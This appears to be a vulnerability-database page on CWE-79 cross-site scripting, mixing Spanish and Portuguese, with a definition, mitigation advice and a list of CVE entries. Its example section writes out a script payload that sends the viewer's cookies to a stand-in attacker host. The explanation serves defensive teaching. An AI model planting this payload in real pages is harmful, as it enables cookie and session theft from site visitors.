Fallos del tipo CWE-79

28.635 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-24276CRITICALCross Site Scripting (XSS) vulnerability in Teamwire Windows desktop client v.2.0.1 through v.2.4.0 allows a remote attacker to obtain sensiEPSS 0.9%CVE-2024-24275CRITICALCross Site Scripting vulnerability in Teamwire Windows desktop client v.2.0.1 through v.2.4.0 allows a remote attacker to obtain sensitive iEPSS 0.9%CVE-2017-12292—Multiple vulnerabilities in the web interface of the Cisco Registered Envelope Service (a cloud-based service) could allow an unauthenticateEPSS 0.9%CVE-2018-0190—Multiple vulnerabilities in the web-based user interface (web UI) of Cisco IOS XE Software could allow an unauthenticated, remote attacker tEPSS 0.9%CVE-2017-12320—Multiple vulnerabilities in the web interface of the Cisco Registered Envelope Service (a cloud-based service) could allow an unauthenticateEPSS 0.9%CVE-2017-12290—Multiple vulnerabilities in the web interface of the Cisco Registered Envelope Service (a cloud-based service) could allow an unauthenticateEPSS 0.9%CVE-2022-0986LOWReflected Cross-site Scripting (XSS) Vulnerability in hestiacp/hestiacpEPSS 0.9%CVE-2018-0186—Multiple vulnerabilities in the web-based user interface (web UI) of Cisco IOS XE Software could allow an unauthenticated, remote attacker tEPSS 0.9%CVE-2017-12323—Multiple vulnerabilities in the web interface of the Cisco Registered Envelope Service (a cloud-based service) could allow an unauthenticateEPSS 0.9%CVE-2018-0128—A vulnerability in the web-based management interface of Cisco Data Center Analytics Framework could allow an unauthenticated, remote attackEPSS 0.9%CVE-2017-12257—A vulnerability in the web framework of Cisco WebEx Meetings Server could allow an unauthenticated, remote attacker to conduct a cross-site EPSS 0.9%CVE-2018-0098—A vulnerability in the web-based management interface of Cisco WAP150 Wireless-AC/N Dual Radio Access Point with Power over Ethernet (PoE) aEPSS 0.9%CVE-2018-0129—A vulnerability in the web-based management interface of Cisco Data Center Analytics Framework could allow an unauthenticated, remote attackEPSS 0.9%CVE-2018-0188—Multiple vulnerabilities in the web-based user interface (web UI) of Cisco IOS XE Software could allow an unauthenticated, remote attacker tEPSS 0.9%CVE-2017-12322—Multiple vulnerabilities in the web interface of the Cisco Registered Envelope Service (a cloud-based service) could allow an unauthenticateEPSS 0.9%CVE-2018-0145—A vulnerability in the web-based management interface of the Cisco Data Center Analytics Framework application could allow an unauthenticateEPSS 0.9%CVE-2017-12321—Multiple vulnerabilities in the web interface of the Cisco Registered Envelope Service (a cloud-based service) could allow an unauthenticateEPSS 0.9%CVE-2017-12220—A vulnerability in the web-based management interface of Cisco Firepower Management Center could allow an unauthenticated, remote attacker tEPSS 0.9%CVE-2017-12291—Multiple vulnerabilities in the web interface of the Cisco Registered Envelope Service (a cloud-based service) could allow an unauthenticateEPSS 0.9%CVE-2021-29489HIGHOptions structure open to XSS if passed unfilteredEPSS 0.9%